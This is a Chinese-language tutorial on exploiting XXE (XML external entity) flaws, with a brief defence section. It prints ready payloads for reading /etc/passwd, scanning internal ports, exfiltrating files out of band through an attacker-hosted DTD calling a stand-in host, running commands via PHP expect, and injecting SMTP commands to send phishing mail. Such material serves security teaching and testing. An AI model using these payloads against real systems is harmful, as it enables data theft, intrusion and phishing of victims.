XXE漏洞利用技巧:从XML到远程代码执行
字数 766 2025-08-18 11:37:28

XXE漏洞利用技巧:从XML到远程代码执行

1. XXE漏洞概述

XXE(XML External Entity)即XML外部实体注入漏洞,当应用程序解析用户提供的XML输入时,允许引用外部实体,攻击者通过构造恶意内容可能导致:

  • 任意文件读取
  • 系统命令执行
  • 内网端口探测
  • 攻击内网网站

2. 基本利用方式

2.1 文件读取示例

<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
  <core id="test101">
    <author>John, Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

此payload会读取服务器上的/etc/passwd文件内容。

3. Blind OOB XXE(带外数据泄露)

当服务器不直接返回响应时,可使用带外技术获取数据。

3.1 端口扫描

<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
  <core id="test101">
    <author>John, Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

通过响应时间/长度判断端口是否开放。

3.2 通过DTD窃取文件

  1. 攻击者服务器上的xxe_file.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;
  1. 发送给目标服务器的XML:
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
  <core id="test101">
    <author>John, Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

4. 高级利用技巧

4.1 远程代码执行(需PHP expect模块)

<?xml version="1.0"?>
<!DOCTYPE GVI [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
  <core id="test101">
    <author>John, Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

4.2 钓鱼攻击(利用SMTP服务)

构造FTP URI注入SMTP命令:

ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0ARCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0ADATA%0D%0AFrom%3A%20support%40VULNERABLESYSTEM.com%0ATo%3A%20victim%40gmail.com%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@VULNERABLESYSTEM.com:25

实际发送的命令:

EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com.
QUIT

5. 防御措施

  1. 禁用外部实体

    • PHP:libxml_disable_entity_loader(true);
    • Java:设置DocumentBuilderFactorysetExpandEntityReferences(false)
  2. 配置XML处理器使用本地静态DTD,禁止XML中含有任何自己声明的DTD

  3. 对XML输入进行严格过滤和验证

6. 实用工具

  1. BurpSuite

    • 检测潜在XXE漏洞
    • Intruder功能用于端口探测
  2. HTTP请求分析工具

    • RequestBin
    • HookBin
    • BurpSuite Pro的Collaborator
  3. XXE Cheatsheet

XXE漏洞利用技巧:从XML到远程代码执行 1. XXE漏洞概述 XXE(XML External Entity)即XML外部实体注入漏洞,当应用程序解析用户提供的XML输入时,允许引用外部实体,攻击者通过构造恶意内容可能导致: 任意文件读取 系统命令执行 内网端口探测 攻击内网网站 2. 基本利用方式 2.1 文件读取示例 此payload会读取服务器上的 /etc/passwd 文件内容。 3. Blind OOB XXE(带外数据泄露) 当服务器不直接返回响应时,可使用带外技术获取数据。 3.1 端口扫描 通过响应时间/长度判断端口是否开放。 3.2 通过DTD窃取文件 攻击者服务器上的 xxe_file.dtd 内容: 发送给目标服务器的XML: 4. 高级利用技巧 4.1 远程代码执行(需PHP expect模块) 4.2 钓鱼攻击(利用SMTP服务) 构造FTP URI注入SMTP命令: 实际发送的命令: 5. 防御措施 禁用外部实体 : PHP: libxml_disable_entity_loader(true); Java:设置 DocumentBuilderFactory 的 setExpandEntityReferences(false) 配置XML处理器使用本地静态DTD,禁止XML中含有任何自己声明的DTD 对XML输入进行严格过滤和验证 6. 实用工具 BurpSuite : 检测潜在XXE漏洞 Intruder功能用于端口探测 HTTP请求分析工具 : RequestBin HookBin BurpSuite Pro的Collaborator XXE Cheatsheet : PayloadsAllTheThings/XXE injections XXE Cheatsheet